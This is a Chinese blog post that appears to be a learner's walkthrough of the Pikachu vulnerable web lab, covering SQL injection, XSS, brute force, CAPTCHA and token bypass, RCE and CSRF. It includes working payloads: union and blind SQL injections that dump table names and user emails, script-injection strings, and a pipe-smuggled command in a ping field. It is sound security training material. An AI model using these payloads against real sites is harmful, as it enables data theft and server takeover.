pikachu大冒险鸭
# SQL 注入
# 搜索型注入
过程
爆出数据库,确定了是三个字段输出
# xx 型注入
过程
我是想看报错信息的,三个单引号,结果莫名其妙就过了
pyload:http://www.pikachu.com/vul/sqli/sqli_x.php
?name=’’’) union select 1,database() %23
&submit=%E6%9F%A5%E8%AF%A2
哦,刚刚试了下,一个单引号就过了,之所以➕),是因为看报错信息的时候发现最后面有一个),所以想到小括号可能没有闭合
# "insert/update" 注入
过程
试报错,看具体语句
输出:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '',md5('a'),'','','','')' at line 1 |
密码随便输,构造用户名 payload,注意时间注入的时候要括号起来,不然会报错:
1 | admin','admin','',(select sleep(10)),'','') # |
实际上差不多数据库执行的语句:
1 | insert into a(1,2,3,4,5,6) values(' admin','admin','',(select sleep(10)),'','') # ','md5(admin)','','','','','' ); |
注册成功,最后也不晓得这个注入有劳资用?而且登陆的时候检查密码也是 md5 加密一下的…
然后登陆的时候,源代码还报错惹
时隔几天,我突然想起来,既然可以注入那么就能时间盲注进行判断…
# delete 注入
过程
发现删除的时候是 get 请求,参数 id,直接 sqlmap 泡一泡:
1 | D:\othertools\sqlmap-py>python sqlmap.py -u http://www.pikachu.com/vul/sqli/sqli_del.php?id=57 --dbs --batch |
# http 头注入(未解决)
过程
用提示里面的账户密码后登录,显示:
1 | 你的ip地址:127.0.0.1 |
说明这些头信息可能都被存进数据库了,可以进行 sql 注入
用 bp 抓到的包:
1 | POST /vul/sqli/sqli_header/sqli_header_login.php HTTP/1.1 |
删掉一个加单引号,没报错,用网上的 payload 也不报错,神了个奇:
# 盲注 (base on boolean)
过程
payload:
1 | http://www.pikachu.com/vul/sqli/sqli_blind_b.php |
正常输出:
payload:
1 | http://www.pikachu.com/vul/sqli/sqli_blind_b.php |
输出:
1 | 您输入的username不存在,请重新输入! |
可能是因为只能输出一个对象,payload:
1 | http://www.pikachu.com/vul/sqli/sqli_blind_b.php?name=lilijmknh' union select database(), '1'='1&submit=%E6%9F%A5%E8%AF%A2# |
爆出数据库,确定是一个对象,两个字段:
1 | your uid:pikachuyour email is: 1 |
爆表:
1 | http://www.pikachu.com/vul/sqli/sqli_blind_b.php?name=lilijmknh' union select database(), group_concat(table_name) from information_schema.tables where table_schema = 'pikachu' and '1'='1&submit=%E6%9F%A5%E8%AF%A2# |
输出:
1 | your email is: httpinfo,member,message,users,xssblind |
爆出字段:
1 | your email is: id,userid,ipaddress,useragent,httpaccept,remoteport |
可以通过 group_concat () 分别输出每个字段所有的值,payload:
1 | ?name=lilijmknh' union select database(),group_concat(id) from httpinfo where '1'='1&submit=%E6%9F%A5%E8%AF%A2# |
输出:
1 | your uid:pikachuyour email is: 42,43,44,45,46,47 |
# 盲注 (base on time),未成功实现 ,500
这个就是利用二分法查 ascii 码值,手工注入的话很费时间的把
靠,他根本就不关心我是谁!我要去看源码了!
发现果然是盲注,不管是不是查到,都是输出 i don’t care who you are!
过程
payload,报 500 了:
1 | http://www.pikachu.com/vul/sqli/sqli_blind_t.php?name=' or (length(database())>1 and sleep(10)) and '1'='1&submit=%E6%9F%A5%E8%AF%A2# |
# 宽字节注入
- 字符、字符集
字符 (character) 是组成字符集 (character set) 的基本单位。对字符赋予一个数值 (encoding) 来确定这个字符在该字符集中的位置。 - UTF8
由于 ASCII 表示的字符只有 128 个,因此网络世界的规范是使用 UNICODE 编码,但是用 ASCII 表示的字符使用 UNICODE 并不高效。因此出现了中间格式字符集,被称为通用转换格式,及 UTF (Universal Transformation Format)。 - 宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃 ASCII 字符 (一字节) 的现象,即将两个 ascii 字符误认为是一个宽字节字符。
宽字节注入原理:
GBK 占用两字节
ASCII 占用一字节
PHP 中编码为 GBK,函数执行添加的是 ASCII 编码(添加的符号为 “\”),MYSQL 默认字符集是 GBK 等宽字节字符集。
大家都知道 % df’ 被 PHP 转义(开启 GPC、用 addslashes 函数,或者 icov 等),单引号被加上反斜杠 \,变成了 % df\’,其中 \ 的十六进制是 %5C ,那么现在
%df\’
=%df%5c%27
,如果程序的默认字符集是 GBK 等宽字节字符集,则 MySQL 用 GBK 的编码时,会认为%df%5c
是一个宽字符,也就是縗
,也就是说:% df\’ = % df%5c%27 = 縗’,有了单引号就好注入了。
过程
payload:
1 | name=%df' or 1=1 %23+&submit=%E6%9F%A5%E8%AF%A2 |
所有数据输出:
1 | your uid:1your email is: eyour uid:2your email is: allen@pikachu.comyour uid:3your email is: kobe@pikachu.comyour uid:4your email is: grady@pikachu.comyour uid:5your email is: kevin@pikachu.comyour uid:6your email is: lucy@pikachu.com...... |
# XSS
XSS 漏洞可以用来进行钓鱼攻击,前端 JS 挖矿,用户 cookie 获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制。
# 反射型 xss (get)
# 过程
文本框下方会回显输入的内容,想输万能弹窗 <script>alert(1);</script>
,发现文本框限制了字数,前端直接定位改成 100,成功
因为为 get 请求,所以输入的参数值会出现在 url 末尾
# 反射型 xss (post)(大失败)
POST 请求区别与 GET 请求,POST 请求不能从 URL 让用户向服务器提交数据。所以为了进行注入,需要让用户代替攻击者提交 POST 请求,这就需要攻击者自己搭建站点,然后再站点内写一个 POST 表单,将我们搭建出的连接发给用户,这样就能让用户帮攻击者提交 POST 请求发给存在 XSS 漏洞的中。这样就能窃取到用户的 cookie,就能伪造用户登陆达到破坏的目的。
# 过程
但是这后台我没登进去呀~
# 存储型 xss
# 过程
直接搞个超链接,留言列表点击跳转
的话,每次刷新页面都会弹窗# dom 型
click 一下,发现超链接的跳转是输入的字符串,所以直接闭合就可
# 过程
尝试用双引号闭合的时候,尽然没有作用???
1 | a">nhhh</a><script>alert(1)</script><a href="# |
全部改成单引号 a'>nhhh</a><script>alert(1)</script><a href='#
:
但是 js 脚本没有生效,因为没有返回给服务器,所以刷新之后更改的也没有了,可以通过 onclick 弹窗:
a' onclick="alert(1)">nhhh</a><script>alert(1)</script><a href='#
# dom 型 xss-x
# 过程
随便输入 a 后点按钮,出现一个超链接,发现这个超链接有一个事件,调用了 domxss () 函数,Ctrl+F 找一下 domxss 看 js 源代码,竟然还有这种明示
直接输入:’ onclick=“alert (‘xss’)”>
# xss 之盲打
# 过程
根据提示登录后台,发现有我们提交的数据(这里只能显示一个我们交的数据!气人),所以前台提交
1 | <script>alert(1)</script> |
后台就会被弹
可以利用这个获取 cookie,但是我还是没有试
(爱鸭,怎么能不试试呢~)
# xss 之过滤
# 过程
经过多次尝试,应是过滤了 < script 和前面所有字符,大小写可以绕过,也可以用
# xss 之 htmlspecialcahrs,我总是以为自己没绕过
# 过程
默认不过滤单引号
payload:
1 | #' onclick='alert(111)' |
# xss 之 href 输出
# 过程
payload:
1 | javascript:alert(1) |
# xss 之 js 输出
# 过程
看表单发现 js 有个判断,输入 tmac 会输出一张图片,直接插入 onclick=“alert (1)”
据说可以闭合,成功弹窗
payload:
1 | </script><script>alert(1)</script><script> |
闭合后的 js:
# 总结
# 文件包含
文件包含之看不懂自己在写什么,所以无法上传系列
看样子应该就是基础的文件包含鸭~
# 总结:
文件包含:
文件包含在 php 中,涉及到的危险函数有四个,分别是 include ()、include_once ()、require ()、require_once ()。
区别如下:
include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。
require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
require_once:和 require 类似,不同处在于 require_once 只导入一次。
# 暴力破解
# 基于表单的爆破
# 过程
bp 抓包,intrude 直接爆密码,用户名 admin。
根据提示,发现有三个账号:
- admin
- pikachu
- test
前两个应该直接猜到的,最后一个还没见过,不过涨姿势了,应该都是常用账户名。
想了想,用 bp 同时爆破用户名和密码(就是速度太慢了):
pitchfork 也可以啊
这是给第二个参数设置字典,你这个猪
# 验证码绕过(on server)
# 过程
看抓的包,发现把用户输入的验证码和用户名密码一起发到服务器了,而且在 cookie 里发现了验证码的值,所以判断是验证码绕过。
基本过程:客户端发起请求 -> 服务端响应并创建一个新的 SessionID 同时生成随机验证码,将验证码和 SessionID 一并返回给客户端 -> 客户端提交验证码连同 SessionID 给服务端 -> 服务端验证验证码同时销毁当前会话,返回给客户端结果。
所以用 bp 拦截,不让页面刷新,就不会销毁会话,也不会更新验证码,就可以用 bp 爆破辣,在 cookie 中带固定的 sessionID 和固定的验证码字符串
# 验证码绕过(on client)
# 过程
在前台找到了验证验证码的函数
通过搜索函数名,定位执行函数的位置,把这个事件删掉,bp 抓包,发现有 vcode 参数,删掉删掉,直接爆破
写完 token 发现也可自动化获取前端信息,进行爆破
# token 防爆
# 过程
token 主要用来防御 csrf,而无法防止暴力破解。
这是因为将一个随机产生的 token 加入请求之后,每次请求 token 都会改变。
csrf 攻击者只能窃取受害者的 cookie 却不能伪造当次请求的 token,token 无法防止暴力破解的原因是 token 每次都会随页面返回到前端,攻击者只要想办法__自动化获得前端的 token__即可进行暴力破解攻击。
option 中的 Grep -Extract: 这个设置能够被用来通过请求返回的信息来获取有用的信息供你使用。也就是说,可以通过它来获得每次请求后返回的 token,关联到 payload 中进行暴力破解。
这样就设置完毕了,需要注意的是 burp 的 Pichfork 爆破模式只能进行单线程的爆破,设置一下线程 1
然后常规爆破就好了
# 总结
BurpSuite intruder attack-type 4 种爆破模式:
Sniper 单参数爆破,多参数时同一个字典按顺序替换各参数,总之初始值有一个参数不变
Battering ram 多参数同时爆破,但用的是同一个字典
Pichfork 多参数同时爆破,但用的是不同的字典
Cluster bamb 多参数做笛卡尔乘积模式爆破
# RCE
漏洞概述
RCE(remote command/code execute)漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
(搬一下皮卡丘哒,对这个不是很熟悉)
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的 web 管理界面上一般会给用户提供一个 ping 操作的 web 界面,用户从 web 界面输入目标 IP,提交后,后台会对该 IP 地址进行一次 ping 测试,并返回测试结果。而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交 “意想不到” 的命令,从而让后台进行执行,从而控制整个后台服务器
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过 "自动化运维平台" 进行操作。在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的 "收获"-_-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的 API 接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
你可以通过 “RCE” 对应的测试栏目,来进一步的了解该漏洞。
# exec “ping”
# 过程
post 方法,用火狐拦截重发,payload:
1 | ipaddress=jsdlvfdsfger | C:\Windows\System32\calc.exe&submit=ping |
成功弹出
# exec"eval"
# 过程
随便输一串字符串 phpinfo (),报错
1 | Parse error: syntax error, unexpected end of file in D:\phpstudy_pro\WWW\pikachu\vul\rce\rce_eval.php(19) : eval()'d code on line 1 |
后来百度发现:
php 的 eval 函数是用来把一段文字当作一段 php 的脚本来执行,这样做的好处是我们可以动态修改 php 执行的内容。
今天想实现的功能是:根据从浏览器 get 到的数据,使用 eval () 执行不同的函数:
if(isset(_GET['step'])){ eval(_GET[‘step’]);
}else{
content='\第一步:获取所有的ip地址\'; msg(content);
}
注意,这个代码是有安全问题的,千万不要在生产环境中使用。
运行以上代码,提示 “eval ()’d code on line 1”,根据提示来看是 eval 函数在执行的时候出错了。
第一反应就是 google,结果得到的都是其他成品程序出现了这个错误。这时候还得去翻 php 手册,根据手册的描述:eval 所执行的字符串,也得必须满足 php 的语法要求,很明显我的字符串里面缺少了括号和最后的分号。
所以满足语法规则,payload 更改为 phpinfo (); 即可
这真的是白给
# 总结
(1) ;
分号,没有任何逻辑关系的连接符。当多个命令用分号连接时,各命令之间的执行成功与否彼此没有任何影响,都会一条一条执行下去。
(2) ||
逻辑或,当用此连接符连接多个命令时,前面的命令执行成功,则后面的命令不会执行。前面的命令执行失败,后面的命令才会执行。
(3) &&
逻辑与,当用此连接符连接多个命令时,前面的命令执行成功,才会执行后面的命令,前面的命令执行失败,后面的命令不会执行,与 || 正好相反。
(4) |
管道符,当用此连接符连接多个命令时,前面命令执行的正确输出,会交给后面的命令继续处理。若前面的命令执行失败,则会报错,若后面的命令无法处理前面命令的输出,也会报错。
例 ls | grep *.txt
# CSRF
# csrf(get)
# 过程
poc 在 bp 上抓 request 包,自动生成:
poc,在里面修改你要改的值:
1 | <html> |
发给用户点击按钮后跳转:
修改成功
# csrf(post)
# 过程
和 get 相比,就是 action 后面加了个 method=“POST”,然后就是一样的操作了
poc:
1 | <html> |
# csrf (token)(没绕过去?可以用 bp 绕把)
# 过程
没绕过去,下面有个服务器给的隐藏的 token
(这里可以利用 bp 自带的功能,将返回数据包中的 token 数据设置为下一请求数据包的参数)
# 总结:
总结之不知道自己当时在想什么导致只能浑水摸鱼系列◔ ‸◔
# 最后想说的话
只要花时间去努力,真的会变强的!!!
看见自己以前写的文章,莫名落泪
。
突然想接一个不明觉厉ヽ (✿゚▽゚) ノ
突然伤感氛围打破
Copyright ©milkii0